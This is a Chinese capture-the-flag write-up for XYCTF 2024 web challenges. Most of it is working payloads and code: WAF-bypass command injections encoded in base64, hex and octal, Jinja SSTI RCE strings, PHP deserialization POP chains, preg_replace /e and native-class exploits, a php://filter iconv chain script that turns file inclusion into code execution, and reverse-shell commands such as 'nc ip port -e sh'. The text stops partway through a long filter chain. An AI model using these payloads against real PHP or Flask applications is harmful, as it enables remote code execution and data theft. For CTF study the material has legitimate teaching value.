复现网址:gz.原神师范大学.cn

Web全解,好像是Java反序列化全场唯一解?
https://blog.csdn.net/qq_39947980/article/details/138249895

Crypto方向大佬
https://dexterjie.github.io/2024/04/26/赛题复现/2024XYCTF/#Crypto

Web

Web ezmake

题目提示flag在当前目录下,直接读一下flag试试?
url/flag
算是非预期了
去了解一下makefile究竟是怎么读取文件的
https://www.yisu.com/ask/27496422.html
content := $(shell cat flag)

Web ezhttp

robots.txt,得到账号密码

Referer: yuanshen.com
User Agent: XYCTF
Client-IP: 127.0.0.1
Via: ymzx.qq.com
Cookie: XYCTF

记一个常用的请求头

X-Forwarded-For:127.0.0.1
Client-ip:127.0.0.1
X-Client-IP:127.0.0.1
X-Remote-IP:127.0.0.1
X-Rriginating-IP:127.0.0.1
X-Remote-addr:127.0.0.1
HTTP_CLIENT_IP:127.0.0.1
X-Real-IP:127.0.0.1
X-Originating-IP:127.0.0.1
via:127.0.0.1

Web ez?Make

过滤了f l a g @ $ * ? / 等

sort `pwd | cut -c 1`[!q][k-m][!q][e-h]

`pwd | cut -c 1`构造/
后面构造flag
sort 可针对文本文件的内容,以行为单位来排序
来自队友的解释,新姿势!new!

同时,我们还发现nc没有被过滤,但是/被过滤了,也可以试试反弹shell看看

赛后发现的好东西,反引号命令执行反弹shell,`nc ip port -e sh`

还可以,先利用xxd转换和管道符传递最后用反引号来执行
`echo 636174202F666c6167 | xxd -r -p`

其实,这个我下面笔记有,但当时看见bash有a然后就放弃了,其实可以不要bash的,emmm

类似这种过滤的别的题目,这里做个笔记

if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){
die("Hacker!!!!!!!!");
}
需要绕过字母,给一组绕过字母的payload:
1echo Y2F0IC9mbGFn| base64 -d | sh #cat /flag
2echo 636174202f666c6167 | xxd -r -p | bash #cat /flag 16进制
3、通配符 more /[b-z][b-z][@-z][b-z]
4、a=g.php; cat fla$a

然后在这个姿势下面再记录一个别的知识点,怕以后想找找不到了(打比赛时翻去年大佬wp一起找到的)

利用 create_function() 函数创建匿名函数来代码注入
<?php
error_reporting(0);
highlight_file(__FILE__);
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){
$nss_shell = create_function($shell,$nss);
}
# shell=&nss=;}system('cat /flag');/*

Web ezmd5

找两张MD5值相等的jpg格式的图片
直接搜,指路https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value

其实应该是通过fastcoll工具生成的

fastcoll工具生成
fastcoll_v1.0.0.5.exe -p 1.jpg -o 11.jpg 12.jpg
1.jpg需要自己提供

Web warm up

<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);

if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {
echo "ez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}

if (isset($md5) && $md5 == md5($md5)) {
echo "ezez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}

if ($XY == $XYCTF) {
if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
echo $level2;
} else {
die("什么情况,这么基础的md5做不来");
}
} else {
die("学这么久,传参不会传?");
}

很简单,MD5若比较没什么好说的了,注意到extract($_GET),变量覆盖,重新给XYCTF赋值即可
?val1=QNKCDZO&val2=240610708&md5=0e215962017&XY=0e215962017&XYCTF=0e215962017
得到LLeeevvveeelll222.php

<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
echo "操作你O.o";
echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']); // 我可不会像别人一样设置10来个level
} else {
die("有点汗流浃背");
}

首先,intval中传入数组时,会判断数组中的是否存在元素,有则返回1,否则返回0,preg_match当检测的变量是数组的时候会报错并返回0,使用数组绕过
其次,注意到preg_replace存在/e漏洞,指路https://www.cnblogs.com/linfangnan/p/13625741.html
payload:?a=/abc/e&b=system('cat /flag')&c=abc,再post: a[]=1即可

Web ezRCE

bash八进制读取,通过两次here-strings的方法来解析复杂的带参数命令
具体可参考安洵杯2020
https://xz.aliyun.com/t/8581?time__1311=n4%2BxuDgDBDyDRnzD%2FD0Yojqaxf2rDAhx2iD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F8581#toc-3
改一下官方脚本

n = dict()
n[0] = '0'
n[1] = '1'
n[2] = '2'
n[3] = '3'
n[4] = '4'
n[5] = '5'
n[6] = '6'
n[7] = '7'

f = ''


def str_to_oct(cmd): # 命令转换成八进制字符串
s = ""
for t in cmd:
o = ('%s' % (oct(ord(t))))[2:]
s += '\\'+o
return s


def build(cmd): # 八进制字符串转换成字符
payload = "$0<<<$0\<\<\<\$\\\'"
s = str_to_oct(cmd).split('\\')
for _ in s[1:]:
payload += "\\\\"
for i in _:
payload += n[int(i)]
return payload+'\\\''


payload = "ls /"
print(build(payload))

有兴趣也可以看CTFShow极限rce,原理类似

赛后发现,其实一次Here String也可以
Here String用于将字符串作为命令的标准输入提供给命令。它的语法形式是 <<<,后跟一个字符串,比如:command <<< "string"
Here String的作用类似于使用管道将字符串传递给命令,但它更简洁,因为不需要使用 echo 或其他命令来产生输入。
意思就可以直接产生传入并传给指定的command中从而使得bash可以执行有参数传入的函数
利用$0表示当前的脚本——bash

$0<<<$'\143\141\164\40\57\146\154\141\147'

(cat /flag)
https://xz.aliyun.com/t/12242?time__1311=mqmhD5YIMD7GkDlc%2BEH4Quxiuq7q29hyGD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-2

Web 我是一个复读机

爆破账号密码
admin,asdqwe
无意输入中文发现解析成{},开始尝试SSTI模板注入

复现时看到有个师傅写的wp,通过构造错误数据登录包也可以发现是SSTI

发现过滤了,_{}[]',以及一些关键的函数,包括有func
尝试绕过,借鉴一下
https://www.cnblogs.com/2ha0yuk7on/p/16648850.html#常规绕过姿势

{{().__class__.__base__.__subclasses__()(128).__init__.__globals__('__builtins__')('eval')('__import__('os').popen('cat /flag').read()')}}

我()|attr(request.args.v1)|attr(request.args.v2)|attr(request.args.v3)()(128)|attr(request.args.v4)|attr(request.args.v5)(request.args.v6)(request.args.v7)(request.args.v8)我&v1=__class__&v2=__base__&v3=__subclasses__&v4=__init__&v5=__globals__&v6=__builtins__&v7=eval&v8=__import__('os').popen('cat /flag').read()

第一个居然不行,好像位置不太对?构造第二个

{{().__class__.__base__.__subclasses__().__getitem__(80).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__('os').popen('cat /flag').read()')}}

我()|attr(request.args.v1)|attr(request.args.v2)|attr(request.args.v3)()|attr(request.args.v4)(80)|attr(request.args.v5)|attr(request.args.v6)|attr(request.args.v4)(request.args.v7)|attr(request.args.v4)(request.args.v8)(request.args.v9)我&v1=__class__&v2=__base__&v3=__subclasses__&v4=__getitem__&v5=__init__&v6=__globals__&v7=__builtins__&v8=eval&v9=__import__('os').popen('cat /flag').read()

Web εZ?¿м@Kε¿?

手动测试,发现长度限制在7以内,未被过滤的只剩符号><@$()-,肯定是围绕$做文章的
https://zhuanlan.zhihu.com/p/601876715
https://www.cnblogs.com/lelin/p/11152780.html

$<,自动化变量,第一个依赖文件的名称,试一下,发现

$<就是/flag,那么$<它就属于一个变量吧

美元符号$,主要扩展打开makefile中定义的变量
$$代表真实的$$$符号主要扩展打开makefile中定义的shell变量

$($<)$(/flag)试了一下,不行,那/flag应该是属于shell变量才对
$$($<),试一下makefile中定义的shell变量

也不行,再去了解一下<>的功能

  • <符号用于重定向输入,即将命令的输入从一个文件中读取,而不是从标准输入(键盘)
  • >符号用于重定向输出,即将命令的输出写入一个文件,而不是在屏幕上显示

那么试一下从/flag读一下,$$(<$<)$(</flag)

赛后发现$(<$<)$$(<$<)是一样的

Web ezPOP

<?php

class AAA
{
public $s;
public $a;
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}

class BBB
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a = $_POST['a'];
$b = $_POST;
$c = $this->c;
$d = $this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a, $b)($c)($d);
}
}

class CCC
{
public $c;

public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}


if (isset($_GET['xy'])) {
$a = unserialize($_GET['xy']);
throw new Exception("noooooob!!!");
}

链子很简单:CCC::__destruct()->AAA::__toString()->BBB::__get()
主要是对call_user_func($a, $b)($c)($d);的理解
还有这个姿势需要注意,PHP GC垃圾回收机制
https://xz.aliyun.com/t/11843?time__1311=mqmx0DBD9DyD2QKD%2FQbyqQqGKprwQC0CeD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-0
还有就是if (isset($b['a'])) { unset($b['a']); }
传入的b数组的a值会被删掉
关于数组

 <?php

class AAA
{
public $s;
public $a;
}

class BBB
{
public $c = array('system');
public $d = 'cat /flag';
}

class CCC
{
public $c;
}
$a = new CCC();
$a->c = new AAA();
$a->c->s = new BBB();
echo serialize(array($a, 0));
# a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";a:1:{i:0;s:6:"system";}s:1:"d";s:9:"cat /flag";}s:1:"a";N;}}i:1;i:0;}

最终payload

/?xy=a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";a:1:{i:0;s:6:"system";}s:1:"d";s:9:"cat /flag";}s:1:"a";N;}}i:0;i:0;}
post: a=array_pop&b=array_pop
array_pop(array)是删除数组元素并返回(这个想法基于题目的删除机制想出来的)
array_pop(array("array_pop"))(array("system"))("cat /flag")
array_pop(array("system"))("cat /flag")
system("cat /flag")
或者:a=current&b=current
current(array)是返回当前数组元素(那我不删除,直接返回也行)

一开始犯病了,其实这道题早出了,因为用的array_popcurrent都是要参数是数组,然后我就传了个数组进来,后面看了学弟的payload才惊醒,这个
$b = $_POST;
说明post的表单都是b数组的了,所以不需要再传数组了,我就说没啥大问题的嘞,还是得注意细节

其实,传进来的a都被删掉了,那么a传什么值都无所谓的吧,主要看还post了什么,那个就是b的值,不过我后面也没有再去试验过了,应该是这样的吧()

Web 牢牢记住,逝者为大

<?php
highlight_file(__FILE__);
function Kobe($cmd)
{
if (strlen($cmd) > 13) {
die("see you again~");
}
if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
die("肘死你");
}
foreach ($_GET as $val_name => $val_val) {
if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
return "what can i say";
}
}
return $cmd;
}

$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");

https://xz.aliyun.com/t/8354?time__1311=n4%2BxuDgDBDyD9iDnDGrxBk8ojqqPoCQDfhDiKx&alichlgref=https%3A%2F%2Fcn.bing.com%2F
长度限制13,那就再传个参数进来当跳板,/?cmd=`$_GET[1]`
eval执行命令需要;,同时前面注释掉了,%0a换行符截断一下,%23注释掉后面的

cmd=%0a`$_GET[1]`;%23&1=
弹个shell
whois -h ip -p port `more /[b-z][b-z][@-z][b-z]`

赛后发现,原来反弹shell还有一种可以不用/bin/bash的,nc ip port -e sh,这样的甚至不需要/,复完NewStarCTF2023,发现也可以拼接一下,nc ip port -e /bi''n/sh

还有一种是用cp的,虽然过滤了,但是\没有被过滤啊,可以转义
c\p /[@-z][@-z][@-z]g 1.txt,最后访问1.txt就可以了

Web ezClass

<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());

类?搜素发现PHP原生类new $a($b);这种就是可以利用原生类的特征
https://ch1e.gitee.io/2021/11/12/yuanshenglei/
emmmm,还需要调用原生类的方法,跟搜到的大部分题型都不一样,而且(new $a($aa))->$c()应该是要作为函数来调用,(new $b($bb))->$c()作为参数调用,我们很容易想到system函数
找了好久发现,ArrayIterator类可以调用current方法来返回当前的值
https://php.github.net.cn/manual/zh/arrayiterator.current.php

关于ArrayIterator类利用的题目找到
https://www.yuque.com/boogipop/tdotcs/hobe2yqmb3kgy1l8?singleDoc#

注意到属性需要传入数组,有
/?a=ArrayIterator&aa[]=system&c=current&b=ArrayIterator&bb[]=ls /

赛后发现另外的思路利用php的Error类带出信息
/?a=Error&b=Error&aa=system&bb=cat /f*&c=getMessage

Web ezLFI

LFI,本地文件包含
常见的PHP伪协议感觉都没反应,应该被过滤了?
告诉了我们,flag位置是在/readflag
可以利用filter过滤器的编码组合构造RCE
https://cloud.tencent.com/developer/article/2287108?areaId=106001
原文https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
出自PHP_INCLUDE_TO_SHELL_CHAR_DICT,php://filter特性包含任意文件getshell

import requests

url = "http://localhost:49819/?file="
file_to_use = "/etc/passwd"
command = "/readflag"

# <?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
"0": command,
"action": "include",
"file": final_payload
})

print(r.text)

Web ezSerialize

<?php
include 'flag.php';
highlight_file(__FILE__);
error_reporting(0);

class Flag {
public $token;
public $password;

public function __construct($a, $b)
{
$this->token = $a;
$this->password = $b;
}

public function login()
{
return $this->token === $this->password;
}
}

if (isset($_GET['pop'])) {
$pop = unserialize($_GET['pop']);
$pop->token=md5(mt_rand());
if($pop->login()) {
echo $flag;
}
}

首先,绕过$this->token === $this->password,利用引用传递让二者相等

<?php
class Flag {
public $token;
public $password;
}
$a = new Flag();
$a->password = &$a->token;
echo serialize($a);

fpclosefpclosefpcloseffflllaaaggg.php

 <?php
highlight_file(__FILE__);
class A {
public $mack;
public function __invoke()
{
$this->mack->nonExistentMethod();
}
}

class B {
public $luo;
public function __get($key){
echo "o.O<br>";
$function = $this->luo;
return $function();
}
}

class C {
public $wang1;

public function __call($wang1,$wang2)
{
include 'flag.php';
echo $flag2;
}
}


class D {
public $lao;
public $chen;
public function __toString(){
echo "O.o<br>";
return is_null($this->lao->chen) ? "" : $this->lao->chen;
}
}

class E {
public $name = "xxxxx";
public $num;

public function __unserialize($data)
{
echo "<br>学到就是赚到!<br>";
echo $data['num'];
}
public function __wakeup(){
if($this->name!='' || $this->num!=''){
echo "旅行者别忘记旅行的意义!<br>";
}
}
}

if (isset($_POST['pop'])) {
unserialize($_POST['pop']);
}

构造链子E()::__wakeup()->D()::__toString->B()::__get()->A()::__invoke()->C()::__call()

<?php
class A
{
public $mack;
}

class B
{
public $luo;
}

class C
{
public $wang1;
}


class D
{
public $lao;
public $chen;
}

class E
{
public $name;
public $num;
}

$a = new E();
$a->num = new D();
$a->num->lao = new B();
$a->num->lao->luo = new A();
$a->num->lao->luo->mack = new C();
echo serialize($a);

saber_master_saber_master.php

 <?php

error_reporting(0);
highlight_file(__FILE__);

// flag.php
class XYCTFNO1
{
public $Liu;
public $T1ng;
private $upsw1ng;

public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
{
$this->Liu = $Liu;
$this->T1ng = $T1ng;
$this->upsw1ng = $upsw1ng;
}
}

class XYCTFNO2
{
public $crypto0;
public $adwa;

public function __construct($crypto0, $adwa)
{
$this->crypto0 = $crypto0;
}

public function XYCTF()
{
if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
return False;
} else {
return True;
}
}
}

class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "Crypto0";

public function __construct($KickyMu, $fpclose)
{
$this->KickyMu = $KickyMu;
$this->fpclose = $fpclose;
}

public function XY()
{
if ($this->N1ght == 'oSthing') {
echo "WOW, You web is really good!!!\n";
echo new $_POST['X']($_POST['Y']);
}
}

public function __wakeup()
{
if ($this->KickyMu->XYCTF()) {
$this->XY();
}
}
}


if (isset($_GET['CTF'])) {
unserialize($_GET['CTF']);
}

命令执行在,echo new $_POST['X']($_POST['Y']);
好,又是原生类,这次是比较熟悉的,它还告诉了我们要读取flag.php
https://blog.csdn.net/unexpectedthing/article/details/121780909
POST: X=SplFileObject&Y=php://filter/read=convert.base64-encode/resource=flag.php
入口是XYCTFNO3::__wakeup()
然后关键就到了这if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258')
虽然crypto0Ting不属于同一个类,但我们可以自己把它构造出来,这就需要对序列化和反序列化有所了解了

<?php

class XYCTFNO1
{
public $crypto0 = 'dev1l';
public $T1ng = 'yuroandCMD258';
}

class XYCTFNO2
{
public $crypto0;
public $adwa;
}

class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "oSthing";
}

$a = new XYCTFNO3();
$a->KickyMu = new XYCTFNO2();
$a->KickyMu->adwa = new XYCTFNO1();
echo serialize($a);

Web 连连看到底是连连什么看

看源码,去what’s_this.php


<?php
highlight_file(__FILE__);
error_reporting(0);

$p=$_GET['p'];

if(preg_match("/http|=|php|file|:|\/|\?/i", $p))
{
die("waf!");
}

$payload="php://filter/$p/resource=/etc/passwd";

if(file_get_contents($payload)==="XYCTF"){
echo file_get_contents('/flag');
}

你甚至能找到差不多的原题,hscctf2024,ImaginaryCTF Round 28 - Filter Master,不过这题加了过滤

https://tttang.com/archive/1395/

https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT/tree/main

https://lazzzaro.github.io/2024/03/11/match-HSCCTF-2024/index.html

https://dqgom7v7dl.feishu.cn/docx/RL8cdsipLoYAMvxl8bJcIERznWH

跟上面的ezLFI很像,但是这种方法读出来的数据会带有很多的脏数据,我们运行ezLFI的脚本可以发现,而且此处是强比较,所以不能带有脏数据


基于tjjj分享的这两点,我们对XYCTF进行多次base64编码,每次记得删除=,然后每编码一次记得补上一次解码,这个方法是可以剔除脏数据的
经过尝试需要6次编码,拿到最后的Vm0xd1ExbFhUWGhUYTJSWVlURndXVlpXUlE
在这里,我们使用到的工具是这个
https://github.com/synacktiv/php_filter_chain_generator

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.U